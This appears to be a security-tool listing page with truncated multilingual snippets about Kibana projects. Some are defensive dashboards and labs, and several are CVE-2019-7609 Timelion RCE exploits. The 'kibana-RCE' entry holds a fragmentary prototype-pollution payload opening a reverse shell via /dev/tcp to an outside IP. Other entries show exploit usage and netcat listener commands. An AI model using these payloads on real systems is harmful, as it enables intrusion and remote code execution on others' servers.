elastic-peak-dashboards

PEAK 基线威胁狩猎仪表盘 Kibana / Security Onion 3.0 — 一级与 ICS 协议分析 可导入的 Kibana 已保存对象仪表盘，实现了 Splunk PEAK 基线威胁狩猎方法论 ，用于网络威胁狩猎（CTH）和事件响应（IR）操作。基于 Security Onion 3.0.0 构建并验证，使用 Elasticsearch 中的 Zeek NSM 和 Suricata 数据。 概述 每个仪表盘都遵循一致的两阶段设计： 1. 建立基线 — 时间维度上的数量、基数指标、top-talker 表，以及针对特定协议的分布面板，使操作员能够了解特定网络上给定协议的 正...

cve-2019-7609

CVE-2019-7609 基于 LandGrey 的代码 使用 python3.6+ 编写的 CVE-2019-7609 漏洞利用程序。 CVE-2019-7609 ：在 Timelion 可视化工具中，影响 Kibana 5.6.15 之前版本和 6.6.0 之前版本的远程代码执行漏洞。 使用方法 1. 启动监听器 2. 运行该利用程序，参数为目标 URL（Kibana 服务器的基本 URL）、监听主机地址和监听端口 root@kitploit: ./cve-2019-7609.py http://:5601 3. 享受 RCE 示例 已在 TryHackme 的 Kiba 房间...

agent-skills

Elastic Agent Skills Elastic Agent Skills — built by the people who built Elastic — deliver native platform expertise directly to your AI coding agent. This is the official Agent Skills library, compatible with agentic IDEs such as Cursor, GitHub Copilot, Windsurf, Gemini CLI, and more. Skills...

CVE-2019-7609

CVE-2019-7609 使用python2脚本正确利用CVE-2019-7609kibana RCE 截图 用法 root@kitploit: python2 CVE-2019-7609-kibana-rce.py -h usage: CVE-2019-7609-kibana-rce.py -h -u URL -host REMOTEHOST -port REMOTEPORT --shell optional arguments: -h, --help show this help message and exit -u URL such as:...

kibana-prototype-pollusion

CVE-2019-7609 在 5.6.15 之前的 Kibana 版本以及 6.6.1 版本中，Timelion 可视化工具存在任意代码执行缺陷。拥有 Timelion 应用访问权限的攻击者可以发送一个请求，尝试执行 JavaScript 代码。这可能导致攻击者以主机系统上 Kibana 进程的权限执行任意命令。 CVSS: 博客: https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/ Payload: https://github.com/mpgn/CVE-2019-7609 目标 设...

CVE-2025-25014

CVE-2025-25014的漏洞利用验证程序 Kibana 中的一个原型污染漏洞导致可通过向机器学习和报告端点发送精心构造的 HTTP 请求实现任意代码执行。 目前该验证程序仅检测 存在漏洞的实例。 使用方法 root@kitploit: python CVE-2025-25014.py -u username -p password --proxy proxyurl url...

GHSA-6W3J-5FW6-R9VR vulnerabilities

Vulnerabilities for packages: unleash, unleash-fips, kibana...

GHSA-GG4H-3HG2-GRPC vulnerabilities

Vulnerabilities for packages: unleash, unleash-fips, kibana...

CVE-2026-84368 vulnerabilities

Vulnerabilities for packages: unleash, unleash-fips, kibana...

CVE-2026-84367 vulnerabilities

Vulnerabilities for packages: unleash, unleash-fips, kibana...

parsedmarc

parsedmarc parsedmarc 是一个用于解析 DMARC 报告的 Python 模块和 CLI 工具。当它与 Elasticsearch 和 Kibana（或 Splunk），或与 OpenSearch 和 Grafana 配合使用时，可作为商业 DMARC 报告处理服务（如 Agari Brand Protection、Dmarcian、OnDMARC、ProofPoint Email Fraud Defense 和 Valimail）的自托管开源替代方案。 !NOTE 基于域的消息认证、报告与一致性 （DMARC）是一种电子邮件认证协议。 赞助商 本项目由一位开发者维护...

drovorub-hunt

Drovorub からの報告: ロシア GRU GTsSS のマルウェアに対する大規模ネットワーク脅威ハンティング 最近、国家安全保障局（NSA）と連邦捜査局（FBI）は報告書を公開しました。この報告書は、ロシア連邦軍参謀本部情報総局（GRU）第85特殊任務センター（GTsSS）、軍事部隊26265が2016年の米国大統領選挙に干渉するために利用した指揮統制能力について概説しています。この報告書にはマルウェア技術の詳細が含まれていましたが、ネットワーク規模での脅威ハンティングに対応したツールは提供されていませんでした。本日、Insane...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Click Canvas to getshell...

Kibana Timelion - Arbitrary Code Execution

Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands...

VulnWhisperer

脆弱性スキャンから実用的なデータ を作成する...

SweetSecurity

SweetSecurity Bro IDS、Elasticsearch、Logstash、Kibana、Critical Stackを任意のデバイスにセットアップおよびインストールするためのスクリプト。 インストール方法とSweet Securityの動作詳細については、Wikiを参照してください： https://github.com/TravisFSmith/SweetSecurity/wiki インストール： sudo python setup.py プロンプトに従い、選択したインストールタイプに適した情報を入力 新機能： モジュール化インストール -...

Adaz

Adaz: Azure 上の Active Directory ハンティングラボ このプロジェクトを使用すると、Terraform/Ansible を使って、ドメイン参加済みワークステーション、Windows Event Forwarding、Kibana、Sysmon を備えた Active Directory ラボを Azure 上に簡単に構築 できます。 ドメインのユーザー、グループ、ワークステーションをカスタマイズできる高レベルの設定ファイルを提供します。 root@kitploit: dnsname: hunter.lab dcname: DC-1...

CVE-2019-7609

CVE-2019-7609 Kibana Kibana的Timelion visualizer存在缺陷，可导致远程代码执行的漏洞 环境配置 docker 1. 运行附带的 docker-compose.yml。 root@kitploit: docker-comopse up -d 2. 在浏览器中访问 http://127.0.0.1:5601。 漏洞利用 1. 准备一个反弹shell。 root@kitploit: $ nc -lvp 6666 2. 在Kibana的Timelion界面中输入payload，然后点击运行。 root@kitploit:...

CVE-2019-7609-KibanaRCE

CVE-2019-7609-KibanaRCE 为使其兼容 Python 3，对该 CVE 进行了一些小修改。cve-modific.py 具体修改如下：在 getkibanaversion 函数中，将 match = re.findallpattern, r.content 更新为 match = re.findallpattern, r.text。此改动以 r.text 替代 r.content，使响应可被当作字符串而非字节处理。 仅供教育用途。此脚本仅限教育使用。 原始项目：https://github.com/LandGrey/CVE-2019-7609/...

CVE-2019-7609

CVE-2019-7609 低于 5.6.15 和 6.6.1 的 Kibana 版本在 Timelion 可视化工具中包含一个任意代码执行漏洞。能够访问 Timelion 应用的攻击者可以发送一个尝试执行 JavaScript 代码的请求。这可能导致攻击者以主机系统上 Kibana 进程的权限执行任意命令。 作者：@securityMB 注意 ：我在 Kibana 6.6.0 上测试过该攻击，但没有成功……在我这边，只有低于 6.6.0 的 Kibana 版本存在漏洞，正如 @securityMB 所解释的那样。 编辑于 2019/12/20 ：如果 Canvas 面板不可用，请查看...